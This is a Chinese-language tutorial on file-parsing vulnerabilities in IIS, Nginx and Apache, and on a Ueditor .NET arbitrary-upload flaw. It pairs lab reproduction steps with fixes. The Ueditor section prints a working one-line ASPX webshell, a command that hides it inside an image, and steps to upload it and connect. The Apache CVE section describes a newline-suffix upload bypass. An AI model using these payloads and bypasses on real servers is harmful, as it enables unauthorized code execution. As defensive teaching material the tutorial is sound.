文件解析漏洞
文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)所存在的解析漏洞。
文件解析漏洞是由于中间件错误的将任意格式的文件解析成网页可执行文件,配合文件上传漏洞进行GetShell的漏洞!
IIS解析漏洞
IIS6.X
目录解析
该版本默认将 *.asp/ 目录下的所有文件当成Asp解析;
在网站下建立文件夹的名字为 .asp/.asa 的文件夹,其目录内的任何拓展名都被IIS当作asp文件来解析并执行。
漏洞防御
1.禁止创建此类文件夹;
2.升级iis版本 ;
畸形文件解析
漏洞介绍
该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa 扩展名解析成asp;
通过文件上传,或者创建文件,格式为*.asp;.jpg
漏洞防御
1.禁止创建和上传此类畸形文件;
2.图片存放目录设置成禁止脚本文件执行 ;
3.升级iis版本
PUT漏洞
漏洞简述
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0
漏洞修复
1.关闭webdav
2.关闭写入权限
3.禁止PUT和MOVE和COPY方法
IIS7.X
漏洞介绍
在IIS7.0和IIS7.5版本下也存在解析漏洞,在Fast-CGl运行模式下,在一个文件路
径 /xx.jpg 后面加上/.php会将 /xx.jpg/.php 解析为php文件。
利用条件
php.ini中得cgi.fix_pathinfo=1 开启。
IIS7在Fast-CGI运行模式下
漏洞修复
程序方面
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹。
2、取消网站后台新建目录的功能,不允许新建目录。
服务器方面
1、限制上传目录的脚本执行权限,不允许执行脚本。
Nginx解析漏洞
漏洞介绍
该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于 security.limit_extensions 的引入,使得该漏洞难以被成功利用。
在PHP的配置文件中有一个关键的选项php.ini cgi.fix_pathinfo=1 默认是开启的,在一个文件/xx.jpg后面加上/.php会将 /xx.jpg/xx.php 解析为 php 文件v
漏洞分析
Nginx的处理程序和FastCGI处理程序不同导致Nginx拿到URI为/1.jpg/xxx.php后,识别出后缀是.php,认为是php文件,转交给PHP FastCGI处理程序去处理。PHP FastCGI处理程序识别该URI: /1.jpg/xxx.php不存在,按照PHP FastCGI处理程序自己的规则,删去最后的/xxx.php,又看/1.jpg存在,就将/1.jpg当成要执行的文件,就成功解析。 Nginx传送给PHP FastCGI处理程序的路径可以在phpinfo中查看【传送路径查看】 ;
当php遇到文件路径为/1.jpg/xxx.php/ss.001时,该文件不存在,会删除最后的/ss.001,再判 断/1.jpg/xxx.php是否存在,若存在则将/1.jpg/xxx.php当作/1.jpg/xxx.php/ss.001文件,若不存在,则继续删除最后一个路径。删除的多余路径会存在PATH_INFO中,在这里为ss.001
修复方案
1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg 不存在就会显示404页面;
2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php;
CVE-2013-4547
漏洞介绍
此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。
当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。当php-fpm处理时碰到0x00截断,则图片会当作php文件解析,触发图片马
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
漏洞复现
一、使用以下命令启动vulhub靶机并通过浏览器访问靶场页面。
#启动靶场 cd vulhub-master/nginx/CVE-2013-4547 切换到靶机目录 docker-compose build 创建环境 docker-compose up -d 打开环境
Apache解析漏洞
未知拓展名解析
漏洞原理
在Apache1.x/2.x中 Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.aaa.xxx
漏洞复现
环境启动
正则表达式中,$用来匹配字符串结尾位置。如果设置了RegExp对象的Multiline属性的条件下,还会匹配到字符串结尾的换行符"\n"或"\r",我们把 $ 换成 . 然后重启apache;
创建文件
/var/www/html 下创建shell.php.bak文件
页面访问
漏洞修复
在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
AddHandler解析漏洞
漏洞介绍
在apache配置不当的时候就会造成apache解析漏洞;
漏洞复现
在httpd.conf 把注释去掉,后缀是存在.php .phtml都会解析成php文件 AddType application/x-httpd-php .php .phtml .zbc
修复建议
1.在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
2.把配置不当的文件进行修改
CVE-2017-15715
漏洞简述
2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php0x0a 将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
影响版本: 2.4.0 ~ 2.4.29
漏洞复现
一、进入Vulhub靶场并开启目标靶机,进行访问。
二、尝试上传一句话木马文件,发现被拦截。
三、在evil.php文件后面添加 # ,再改为 0a 再次发送即可上传成功。
四、访问上传得evil文件在后面加上 %0a 再访问发现解析了其中得PHP代码,但后缀不是php说明存在解析漏洞。
漏洞修复
1.升级到最新版本;
2.或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行;
编辑器漏洞
什么是编辑器
这里说的编辑器是Web编辑器,顾名思义,在线编辑器是一种通过浏览器来对文字、图片、表格等内容进行在线编辑修改的工具(类似于Execl的功能)。
常见的编辑器
UEDITOR
eWebEdit
FCKeditor
CKEditor
Kindeditor
DotNetTextBox
CuteEditeor等
Ueditor .Net-ueditor 文件上传
漏洞介绍
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更
新, .net 存在任意文件上传,导致可以绕过文件格式的限制达到任意文件
上传 ,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与
判断。漏洞的成因是在获取图片资源时仅检查了Content-Type,aspx
漏洞复现
-
识别是否是 ueditor
-
在网址添加 /ueditor/net/controller.ashx?action=catchimage 参数查看
是否漏洞存在
-
本地构造HTML exp上传图片马到目标站点
-
制作图片马,准备一张图片 + 以下aspx的马
<%@ Page Language="Jscript"%> <%eval(Request.Item["888888"],"unsafe");%> copy doem.png/b + muma.aspx 444.png
-
将图片马放置公网服务器中,并启用临时WEB服务
-
上传Webshell
-
Webshell客户端连接